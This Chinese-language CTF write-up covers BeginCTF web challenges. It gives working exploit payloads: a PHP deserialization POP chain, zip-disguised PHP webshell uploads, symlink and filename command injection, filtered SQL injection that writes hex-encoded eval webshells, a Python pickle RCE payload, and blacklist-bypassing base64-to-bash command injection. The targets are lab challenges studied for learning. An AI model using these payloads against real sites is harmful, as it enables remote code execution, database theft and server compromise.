Beginctf-web-wp
难度大体也还是简单,但是有些题还是有水平的。
POPgadget
逆天签到题。
自己看源码就知道我为啥这么说了:
<?php highlight_file(__FILE__); class Fun{ private $func = 'call_user_func_array'; public function __call($f,$p){ call_user_func($this->func,$f,$p); } } class Test{ public function __call($f,$p){ echo getenv("FLAG"); } public function __wakeup(){ echo "serialize me?"; } } class A { public $a; public function __get($p){ if(preg_match("/Test/",get_class($this->a))){ return "No test in Prod\n"; } return $this->a->$p(); } } class B { public $p; public function __destruct(){ $p = $this->p; echo $this->a->$p; } } if(isset($_REQUEST['begin'])){ unserialize($_REQUEST['begin']); } ?>
看起来思路确实很清晰,从B直接触发到A的__get(),然后不让指向Test的__call(),只能去Fun的__call(),然后再利用call_user_func_array()RCE。
而且Test里有个getenv(FLAG),显然flag在环境变量。
首先第一个问题就是咋从B到A啊,B中这个$this->a->$p,a哪来的????????
这个把我可算卡死了,PHP手册都翻烂了,引用都想过,都不能解决,结果我最后死马当活马医自己写pop链的时候在B类加一个public $a来链接到A类成功了呃呃......
最后__call()那里差个参数,因为只传了个p(),system('env')这种肯定不行,但是转念一想,phpinfo()里不就可以看环境变量吗?
exp:
<?php class Fun{ private $func = 'call_user_func_array'; } class A { public $a; } class B { public $p; public $a; } $a1 = new A(); $b1 = new B(); $f = new Fun(); $b1->p = "phpinfo"; $b1->a = $a1; $a1->a = $f; echo urlencode(serialize($b1)) ?>
zupload系列
zupload
第一个没有上传功能,就是个简单的路径穿越:
zupload-pro
就ban了一个 .. ,然后第一个参不让用 /
直接php伪协议出了:
zupload-pro-plus
照样用php伪协议:
zupload-pro-plus-max
这道有点搞,我一开始没get到它的点,把upload其他的都做出来了最后才做出这道的emmmmm....
<?php error_reporting(0); if ($_SERVER['REQUEST_METHOD'] == 'GET') { if (!isset($_GET['action'])) { header('Location: /?action=upload'); die(); } if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) { die('<h1>Invalid action</h1>'); } die(include($_GET['action'])); } else if ($_SERVER['REQUEST_METHOD'] == 'POST') { $file = $_FILES['file']; $file_name = $file['name']; $file_tmp = $file['tmp_name']; $file_size = $file['size']; $file_error = $file['error']; $file_ext = explode('.', $file_name); $file_ext = strtolower(end($file_ext)); $allowed = array('zip'); if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) { if ($file_error === 0) { if ($file_size <= 2097152) { $file_destination = 'uploads/' . $file_name; if (move_uploaded_file($file_tmp, $file_destination)) { echo json_encode(array( 'status' => 'ok', 'message' => 'File uploaded successfully', 'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination )); } } } } else { echo json_encode(array( 'status' => 'error', 'message' => 'Only zip files are allowed' )); } }
开始那个基本上把你常规的路径绕过,不一样的就把file_get_contents换成了include,直接看下面的上传逻辑:
就一个前端上传检测,但是有个ZipArchive()->open($file_tmp)的限制,也就是说zip必须是货真价实的zip,不然就会上传失败。
下面也是告诉你了把文件放到了uploads/下面,名字就是上传的名字。
开始卡住了,一直想绕,但是绕不动。
直到我随便上传了一个1.zip,直接action=/uploads/1.zip访问发现能显示出内容,突然回想到include的作用,不管你传了啥,都会以php内容解析。
那我直接在上传的时候bp改一下文件的内容,传上来的zip也是正常的,但是包含了我的木马,访问的时候include就直接解析了:
添加一句话🐎:
放包,然后访问:
zupload-pro-plus-max-ultra
这下不能和直接解析了,但是下面它提供了一个unzip的exec,并且解压后的目录可以知道,显然可以RCE。
第一种思路是把上传的名字改成 ;cat /flag;1.zip 这种,也可以绕过后缀名检测,直接执行,还有种方法就是软链接。
直接把这个目录指向根目录,上传上去后访问uploads/task/flag直接就出了:
然后直接传这个link.zip就行了,解压后task目录等效于根目录:
zupload-pro-plus-max-ultra-premium
这道题是只能用软链接了,因为exec这种RCE的地方加了个escapeshellarg(),专门防你RCE的函数(虽然也能绕哈哈),它是后台解压:
一样的步骤:
zupload-pro-plus-enhanced
看了源码,就是绕这个前端验证的地方罢了。
前端验证直接1.zip.php就绕过了,因为抓包的时候已经检测过了,bp上再加上php就不会报错。
直接木马伪造zip:
然后bp改后缀,直接RCE:
zupload-pro-revenge
一看index,检测代码不见了,去upload那里看看:
又是前端验证,还是这个pop,我在入门ctf的时候在moe就做到这个题了。
一样的手段:
(所以说只有前端验证要不得啊....)
sql教学局
写wp写累了,直接贴我当时的分析:
1'/**/oorrder/**/by/**/1# no secret for U banlist: and 空格 regexp sleep = < > 等等 双写: select from or ---------------------------------------------------------------------------------------------------------- #爆库:ctf -1'/**/union/**/sselectelect/**/database()# #爆表:ctf,score -1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(table_name)/**/ffromrom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/"ctf")# ---------------------------------------------------------------------------------------------------------- #爆字段1(ctf):secret,user -1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/"ctf")# #爆数据1(secret):no secret for U (...牛子) -1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(secret)/**/ffromrom/**/ctf)# #爆数据2(user):admin -1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(user)/**/ffromrom/**/ctf)# ---------------------------------------------------------------------------------------------------------- #爆字段2(score):grade,student -1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/"scoorre")# #爆数据1(grade): -1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(grade)/**/ffromrom/**/scoorre)# ccf0-d1efdac,28c3fed9f-3c9,8a9bdad19b8dadf,00696ba91fda5a5d,9d41f24ef64-3,ccdce-1ab45cdc,76ff2ef435b6a96,-b-6ac0a39f4,ab12b3fee-8fb4b,dfecc4-bf8055ca,22ee00c357b817b,5adbfb32a93a2d1f,f77a9cfac6bd,84a7a-657ad65f,dabea2ce-5cf97f,da6fcbfe871c47,c8edebcf3-af,019cf7e78443f-2f,560a2-418d6a01f,1fe7cf1756a1-b4,891ffcaddec3bdf2,3-3eeec59bcdef-c,1df3eeed81cc6,d0dfff1175ad53,3bfbba-ed6-fad9d,33d312d307-7625,3ff64ad8fea870,be26c86-b02ce72d,45e7fbd43f06e5c,3c0d9d-de3d0abf,bdd-64baf39ad941,4fbca4fc2f8fb07a,2cdfbd-f89e82f0e,fb7bf57ac3107,0aedf285b4dbdbea,3efb5dc8ce81,e2a6ff9e9d01e5d,cdb37a7-ef-fbf6,1faa-b2cd02eac,5bd9f4f104ddaac,016f63be3453,-ef04e1d87e7,e40fba-c62c676c,b5aaf675c30f-0b9,acdbaeaffbcb9add,be-301cacfbd94,2dda5ae8e2fb1aa,3b97f0e-babe5eee,9cffae2ae7ac,-dafcbcb1f4677,5e2aaacaa5fb,42ca-d74be4cfc59,abcdae95528a2a7,a7d1ec7dad031c,96c57fcc-f1bca1,8fae6d7278da946,363ccfd717a8243,8fdccb47c2fe94aa,0d41c5ef01-14dd,3d5db2cffc2fa263,fcaf9ae386add16,7edffcec72ecc91,9dcefd0f503605db,e237-6fadff4ac8d,6f99a4253e4e,ab84cdfbd3b8 (#爆数据2(student): -1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(student)/**/ffromrom/**/scoorre)# wblyh,poako,qixrn,sjadj,aicuv,ngyqv,yvsyh,ivqdo,thnfg,vxdhk,kqvhg,xpdvf,qiqhi,medhg,hkynv,comjz,jfjff,rujqj,fwotf,jjaiw,eggbi,puohx,yfhrx,pqtba,oygvu,xrzjw,bgqzf,dutsp,qymre,yalju,wrlns,jibxj,xqnvx,egeet,sistf,rkrnt,bpbzf,gtqeh,idvjl,wfnmi,vgpgc,zjtoz,clxxn,bagzr,otgow,spvro,cwkjd,pojmm,ifflo,ixlyn,rxkgt,ywxap,ycjea,bzgkn,ydgbm,cpegb,zuewq,myexf,wggzt,lwpmt,twpri,asdmu,bzwkl,kindj,bwyin,moygt,beosa,idxcd,riwcy,zcuhv,laenp,fdrqk,nvlzi,vfjmx,wgzlt,uffdd,xusxr,jvuyt,xzsyo,vqayz,jxztz,jgmhy,xugkz,nicgl,jweho,huogw,ooncg,pygdy,ueyvk,vgldz,bolfy,wxvtu,icmfo,wdwvd,fkmgb,vblbu,wacmz,cdacu,squyg,jdzbg,kiden,dtort,lvkcq,woiyl,vnnng,nbwfb,druaf,luqfh,jnoax,yquba,occbk,tdmds,jzfqw,wsyxk,bwrqw,wqyis,ohwxx,uhqzk,dvwbj,pdoki,kfpbi,fwrih,vdubg,tkjoy,dttvo,wgeiw,pwssa,hxaac,cshzu,dhmkz,aqnyw,bkulm,cixxo,natwm,kmpto,wevns,ldxeo,lctog,ocubf,tckmz,ajcit,caakl,fwvyj,jyiut,pxaxq,lstcz,phsna,ihfnl,uuaqz,mfiuv,xulqr,itcdj,ujlyk,ajkev,cohjl,ijdom,vwemy,hckbg,yiqhr,ngrlb,eyaeo,ovmla,nsojc,sxpyu,eootw,ljzba,gmuej,fthkc,gpbfe,kqbcp,fwpz) #难找.... #爆flag2: ab23-41fe-ba6a -1'/**/union/**/(sselectelect/**/group_concat(grade)/**/ffromrom/**/scoorre/**/where/**/student/**/like/**/'begin')# ---------------------------------------------------------------------------------------------------------------- #爆表:password -1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(table_name)/**/ffromrom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/"secret")# #爆字段:id,note,flag -1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/"passwoorrd")# #爆flag1: flag{70ae7d36- -1'/**/union/**/sselectelect/**/(sselectelect/**/group_concat(flag)/**/ffromrom/**/secret.passwoorrd)# ---------------------------------------------------------------------------------------------------------------- #根目录注入 #爆路径: -1'/**/union/**/sselectelect/**/@@basedir;# /usr/ //mysql安装目录 -1'/**/union/**/sselectelect/**/@@datadir;# /var/lib/mysql/ //mysql数据目录 -1'/**/union/**/sselectelect/**/@@secure_file_priv;# #判断是否能写入,这里没有回显为空(不是NULL,也不是/tmp这种临时目录),可以写入 -1'/**/union/**/sselectelect/**/@@plugin_dir;# /usr/lib/mysql/plugin/ 推测绝对路径:/var/www/html 看看user():root@localhost 超级管理员权限 -1'/**/union/**/sselectelect/**/user()# union挂马:(但是<>被过滤了,用十六进制)#寄了,显示permission denial -1'/**/union/**/sselectelect/**/0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e/**/into/**/outfile/**/'/var/www/html/shell.php'# -1'/**/union/**/sselectelect/**/0x3c3f706870200a667075747328666f70656e28277368656c6c2e706870272c277727292c273c3f706870206576616c28245f504f53545b315d293f3e27293b200a3f3e/**/into/**/outfile/**/'/var/www/html/1.php'# -1'/**/union/**/sselectelect/**/0x3c3f70687020406576616c28245f4745545b2731275d293b3f3e/**/into/**/outfile/**/'/var/www/html/1.php'# terminated挂马: -1'/**/into/**/outfile/**/'/var/www/html/2.php'/**/lines/**/terminated/**/by/**/0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e# #尝试任意文件读取:寄了,查询错误: FUNCTION ctf._file does not exist:load被置空了 -1'/**/union/**/sselectelect/**/lloadoad_file('/etc/passwd');# #爆flag3: -22b08e662e65} -1'/**/union/**/sselectelect/**/lloadoad_file('/flag');# flag{70ae7d36-ab23-41fe-ba6a-22b08e662e65}
pickelshop
注册抓包看到送给你一个cookie:
Eddie: registered successfully! Your cookie is user=gASVKQAAAAAAAAB9lCiMCHVzZXJuYW1llIwFRWRkaWWUjAhwYXNzd29yZJSMAzExMZR1Lg==
很显然就是一个pickle.dumps()后再base64加密的cookie,而且没加任何密钥,但是我一开始进误区了,以为直接传payload就出:
import base64 import pickle class A(object): def __reduce__(self): return (eval, ("__import__('os').popen('cat /flag').read()",)) a = A() print( base64.b64encode( pickle.dumps(a) ) )
结果回显一直报错,后来才想到它后端应该是要匹配那个{'username':'Eddie', 'password':'111'}的JSON格式,然后把username那部分再pickle,因为回显是“Welcome xxx!”
那么改一下payload就是exp:
import base64 import pickle class A(object): def __init__(self, username, password): self.username = username self.password = password def __reduce__(self): return (eval, ("__import__('os').popen('cat /flag').read()",)) a = A("Eddie","111") print( base64.b64encode( pickle.dumps(a) ) )
或者这种写法:
import base64 import pickle class A(object): def __reduce__(self): return (eval, ("__import__('os').popen('cat /flag').read()",)) a = A() print( base64.b64encode( pickle.dumps({'username':a,'password':'111'}) ) )
readbooks
一开始打的时候,随便乱点这两个book给了两个api: /list/ 和 /public/,点那个private显示nothing_here。
我还以为是黑盒,试了好多都没试出来。
但是没想到他后面的路径直接可以RCE,而且还有ban掉很多东西的黑名单,使用通配符发现没ban:
/list/*
直接看到了目录:
app.py blacklist.txt book1 book2 __pycache__: app.cpython-310.pyc private: nothing_here static: templates: index.html
然后/public/app.py试试,不出意外被ban了,但是通配符一样可以绕过:
/public/ap*
拿到了app.py的源码,题目成白盒了:
import os from flask import Flask, request, render_template app = Flask(__name__) DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+'] DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist'] BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1] BLACKLIST.append("/") BLACKLIST.append("\\") BLACKLIST.append(" ") BLACKLIST.append("\t") BLACKLIST.append("\n") BLACKLIST.append("tc") ALLOW = [ "{", "}", "[", "pwd", "-", "_" ] for a in ALLOW: try: BLACKLIST.remove(a) except ValueError: pass @app.route('/') @app.route('/index') def hello_world(): return render_template('index.html') @app.route('/public/<path:name>') def readbook(name): name = str(name) for i in DISALLOWED1: if i in name: return "banned!" for j in DISALLOWED_FILES: if j in name: return "banned!" for k in BLACKLIST: if k in name: return "banned!" print(name) try: res = os.popen('cat {}'.format(name)).read() return res except: return "error" @app.route('/list/<path:name>') def listbook(name): name = str(name) for i in DISALLOWED1: if i in name: return "banned!" for j in DISALLOWED_FILES: if j in name: return "banned!" for k in BLACKLIST: if k in name: return "banned!" print(name) cmd = 'ls {}'.format(name) try: res = os.popen(cmd).read() return res except: return "error" if __name__ == '__main__': app.run(host='0.0.0.0',port=8878)
可以看到list下面存在很显然的RCE点,但是查看blacklist.txt可以发现很多linux命令都被ban了,fuzz后发现漏网之鱼管道符| 还有单引号、反引号、${IFS}这种。
那么payload就直接有了:
# ls / /list/-la|ec''ho${IFS}'bHMgLw'|bas''e64${IFS}-d|ba''sh # cat /_flag /list/-la|ec''ho${IFS}'Y2F0IC9fZmxhZw'|bas''e64${IFS}-d|ba''sh
king
因为比赛结束后环境也关了,没给附件也复现不了,所以此题wp参考:BeginCTF 2024 Writeup - Kengwang 博客
看起来有点搞,而且做出来的人也是web方向最少的,当然我也没做出来,但是这个小游戏通关了hhhh题目的提示是nosql注入,而且是nohttp,可以看看其他部分的流量。
nosql的数据库具有代表性的就是MongoDB了,语法有点像JSON,F12查看网络部分发现开了个WebSocket。
看了看这个语法确实是MongoDB,指令直接看官方文档:Database Commands — MongoDB Manual
也可以用 listCommands
来查询到所有支持的指令:
一个个试,直到 listCollections:
{"id":"3b798yphvx3","query":{"listCollections":""}}
这里直接找到了个"name": "flag74xvmf0xhew",直接用find读:
{"id":"3b798yphvx3","query":{"find":"flag74xvmf0xhew"}}
这个工具也可以对WebSocket进行测试:WebSocket在线测试工具 (wstool.js.org)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通